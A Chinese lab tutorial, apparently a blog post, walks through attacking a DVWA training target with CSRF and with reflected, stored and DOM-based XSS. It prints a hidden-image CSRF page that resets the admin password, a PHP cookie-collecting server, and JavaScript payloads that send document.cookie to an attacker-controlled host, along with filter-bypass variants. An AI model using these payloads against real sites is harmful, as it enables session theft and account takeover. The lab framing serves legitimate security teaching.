zoukankan      html  css  js  c++  java
  • 跨站攻击

    提示:本实验仅用于学习参考,不可用作其他用途!

    实验环境要求:

    总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和php虚拟机作为攻击机,攻击dvwa上的跨站漏洞。

    任务一、搭建实验基础环境

    1. 使用dvwa@centos7创建链接克隆php@centos7虚拟机

    1. 更改php@centos7虚拟机地址为192.168.*.123

    1. 在dvwa虚拟机ping php虚拟机

    1. 在主机访问php虚拟机phpinfo.php页面

     

    任务二、攻击CSRF跨站请求伪造漏洞

    1. 在主机使用浏览器访问dvwa站点设置low级别

    1. 打开csrf页面,修改密码为123456

    1. 在dvwa虚拟机打开数据库查看admin的密码

    1. 在主机浏览器中构造URL改变admin的密码

    http://192.168.*.80/dvwa/vulnerabilities/csrf/?password_new=password&password_conf= password &Change=Change#

    1. 在dvwa虚拟机打开数据库查看admin的密码

    1. 在php虚拟机构造攻击页面,改变admin的密码 (注意浏览器同源策略)

    <h1>404<h1>

    <h2>file not found.<h2>

    <img src="http://靶机IP/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

    1. 在主机浏览器访问php虚拟机上的攻击页面

    1. 在dvwa虚拟机打开数据库查看admin的密码

    任务三、在php@centos7构建恶意服务器

    1. 创建数据库dvwacookie

    create database dvwacookie;

    use dvwacookie;

    create table low(id int not null auto_increment primary key,cookie varchar(100) not null);

    create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);

    create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

    1. 编写cookie窃取代码/var/www/html/steal.php

    <?php

    header("content-type:text/html;charset=utf-8");

    echo "<h2>hello</h2>";

    echo "</br>";

    $conn=mysql_connect("localhost","root","123456");

    mysql_select_db("dvwacookie",$conn);

    if(isset($_GET['data']))

    {

    $sql="insert into low(cookie) values('".$_GET['data']."');";

    $result=mysql_query($sql,$conn);

    mysql_close();

    }

    else if(isset($_POST['data']))

    {

    $sql="insert into low(cookie) values('".$_POST['data']."');";

    $result=mysql_query($sql,$conn);

    mysql_close();

    }

    else

    {

    $sql="select * from low";

    $result=mysql_query($sql,$conn);

    while($row=mysql_fetch_array($result))

    {

    echo "偷取的cookie:".$row[1]."</br>";

    }

    mysql_close();

    }

    ?>

    1. 在主机浏览器访问steal.php

    1. 编写JS代码/var/www/html/cookie.js

    document.write("<form action='http://攻击机IP/steal.php' name='exploit' method='post' style='display:none'>");

    document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

    document.write("</form>");

    document.exploit.submit();

    1. 编写JS代码/var/www/html/cookie_ajax.js

    var url = "http://攻击机IP/steal.php";

    var postStr = "data="+document.cookie;

    var ajax = null;

    if (window.XMLHttpRequest) {

    ajax = new XMLHttpRequest();

    } else if (window.ActiveXObject) {

    ajax = new ActiveXObject("Microsoft.XMLHTTP");

    } else {

    ajax=null;

    }

    ajax.open("POST", url, true);//true代表异步

    ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

    ajax.send(postStr);

    任务四、攻击DVWA反射型XSS漏洞(low)

    1. 测试dvwa反射型XSS漏洞(low)注入点

    设置dvwa为low级别,在http://靶机IP/dvwa/vulnerabilities/xss_r/的输入框中输入<script>alert(/xss/)</script>

    1. 在dvwa注入点插入攻击脚本,点击提交

    <script src=http://攻击机IP/cookie.js></script>

    1. 在主机浏览器访问steal.php

    1. 在dvwa已经登录的浏览器地址栏输入url

    http://靶机IP/dvwa/vulnerabilities/xss_r/?name=<script src=http://攻击机IP/cookie.js></script>

    1. 在主机浏览器访问steal.php

    任务五、攻击DVWA反射型XSS漏洞(medium)

    1. 测试dvwa反射型XSS漏洞(medium)注入点

    设置dvwa为medium级别,在http://靶机IP/dvwa/vulnerabilities/xss_r/的输入框中输入<sc<script>ript>alert(/xss/)</script>

    1. 在dvwa注入点插入攻击脚本,点击提交

    <sc<script>ript src=http://攻击机IP/cookie.js></script>

    1. 在主机浏览器访问steal.php

    1. 在dvwa已经登录的浏览器地址栏输入url

    http://靶机IP/dvwa/vulnerabilities/xss_r/?name=<sc<script>ript src=http://攻击机IP/cookie.js></script>

    1. 在主机浏览器访问steal.php

    任务六、攻击DVWA存储型XSS漏洞(low)

    1. 修改dvwa存储型XSS漏洞前端代码

    1. 测试dvwa存储型XSS漏洞(low)注入点

    设置dvwa为low级别,在http://靶机IP/dvwa/vulnerabilities/xss_s/的Message*输入框中输入<script>alert(/xss/)</script>

    在dvwa的MySQL数据库中查看dvwa数据库guestbook表

    1. 在dvwa注入点插入攻击脚本,点击提交

    http://靶机IP/dvwa/vulnerabilities/xss_s/的Message *输入框中输入<script src=http://攻击机IP/cookie.js></script>

    在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/

    1. 在php虚拟机查看dvwacookie数据库low表

    1. 在主机浏览器访问steal.php

    1. 在dvwa注入点插入ajax攻击脚本,点击提交

    http://靶机IP/dvwa/vulnerabilities/xss_s/的Message *输入框中输入<script src=http://攻击机IP/cookie_ajax.js></script>

    在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/

    1. 在主机浏览器访问steal.php

    1. 在php虚拟机查看dvwacookie数据库low表

    任务七、攻击DVWA存储型XSS漏洞(medium)

    1. 测试dvwa存储型XSS漏洞(medium)注入点

    设置dvwa为medium级别,在http://靶机IP/dvwa/vulnerabilities/xss_s/的name*输入框中输入<sc<script>ript>alert(/xss/)</script>

    在dvwa的MySQL数据库中查看dvwa数据库guestbook表

    1. 在dvwa注入点插入攻击脚本,点击提交

    http://靶机IP/dvwa/vulnerabilities/xss_s/的name*输入框中输入<sc<script>ript src=http://攻击机IP/cookie.js></script>

    在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/

    1. 在php虚拟机查看dvwacookie数据库low表

    1. 在主机浏览器访问steal.php

    1. 在dvwa注入点插入ajax攻击脚本,点击提交

    http://靶机IP/dvwa/vulnerabilities/xss_s/的name*输入框中输入<sc<script>ript src=http://攻击机IP/cookie_ajax.js></script>

    在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/

    1. 在主机浏览器访问steal.php

    1. 在php虚拟机查看dvwacookie数据库low表

    任务八、攻击DVWA DOM型XSS漏洞(low)

    1. 测试dvwa DOM型XSS漏洞(low)注入点

    设置dvwa为low级别,在主机浏览器地址栏中输入

    http://192.168.60.80/dvwa/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

    在浏览器中查看源代码,分析dom数据

    1. 获取用户cookie

    在主机浏览器地址栏中输入

    http://192.168.60.80/dvwa/vulnerabilities/xss_d/?default=<script src=http://192.168.60.123/cookie_ajax.js></script>

    在浏览器中查看源代码,分析dom数据

    1. 在php虚拟机查看dvwacookie数据库low表

    1. 在主机浏览器访问steal.php

  • 相关阅读:
    JAVASCRIPT函数定义表达式和函数声明的区别
    单链表
    Asp.net+jquery+ajaxpro异步仿Facebook纵向时间轴效果
    基于Hadoop开发网络云盘系统客户端界面设计初稿
    U盘安装CentOS 6.4 + Windows 7双系统 (Windows 7下安装 CentOS 6.4)
    Last_SQL_Errno: 1050
    delphi 7中使用idhttp抓取网页 解决假死现象(使用TIdAntiFreezeControl控件)
    继承CWnd自绘按钮
    gcc编译器对宽字符的识别
    解决Qt程序发布时中文乱码问题(通过QApplication.addLibraryPath加载QTextCodec插件)
  • 原文地址:https://www.cnblogs.com/jake-jin/p/12885267.html
Copyright © 2011-2022 走看看